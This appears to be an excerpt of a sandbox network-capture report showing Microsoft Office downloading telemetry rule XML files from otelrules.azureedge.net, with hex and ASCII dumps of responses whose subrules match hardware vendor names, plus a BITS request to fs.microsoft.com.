2024-11-28 12:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121006Z-174f7845968j6t2phC1EWRcfe80000000ygg000000007ppp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:06 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121006Z-174f7845968xlwnmhC1EWR0sv80000000yb00000000010tt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:09 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121009Z-174f7845968psccphC1EWRuz9s0000000ykg000000008rbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:09 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121009Z-174f7845968cdxdrhC1EWRg0en0000000ydg00000000380t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:09 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:09 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121009Z-174f78459685m244hC1EWRgp2c0000000y70000000006msf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:09 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:09 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121009Z-174f7845968xlwnmhC1EWR0sv80000000y90000000003sq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:09 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:09 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121009Z-174f7845968kvnqxhC1EWRmf3g0000000hag0000000002we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:09 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:11 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:12 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121012Z-174f7845968kdththC1EWRzvxn0000000atg000000003wug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:12 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:11 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121012Z-174f78459685m244hC1EWRgp2c0000000y8g000000004hu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:11 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:12 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121012Z-174f78459684bddphC1EWRbht40000000y7g000000001bcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:12 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:11 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121012Z-174f7845968xlwnmhC1EWR0sv80000000y7g000000005x5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:11 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121012Z-174f7845968j6t2phC1EWRcfe80000000yf0000000009f0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49792	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:12 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
